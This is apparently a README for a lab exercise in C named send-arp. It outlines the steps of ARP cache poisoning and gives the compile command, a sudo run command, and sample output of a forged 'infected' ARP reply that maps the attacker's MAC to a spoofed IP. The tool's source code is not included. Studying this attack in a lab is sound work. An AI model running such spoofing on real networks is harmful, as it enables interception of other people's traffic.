send-arp

ref1 ref2

1. send ARP request to the sender
2. get the ARP reply (the sender's MAC address)
3. send ARP reply to the sender with the attacker's MAC address and the target's IP address

OS

Ubuntu 16.04.2

Language

C

Compile & Execute

$ gcc -o arp arp.c -lpcap

$ sudo ./arp ens33 192.168.242.147 8.8.8.8

Result

============= Send ARP =============
******* get attacker's info *******
attacker MAC 0:c:29:53:b3:dd 
attacker IP  192.168.242.180
******** get sender's info ********
sender MAC   0:c:29:48:20:4c 
sender IP    192.168.242.147
****** send infected packet *******
src MAC      0:c:29:53:b3:dd 
src IP       8.8.8.8
dst MAC      0:c:29:48:20:4c 
dst IP       192.168.242.147
====================================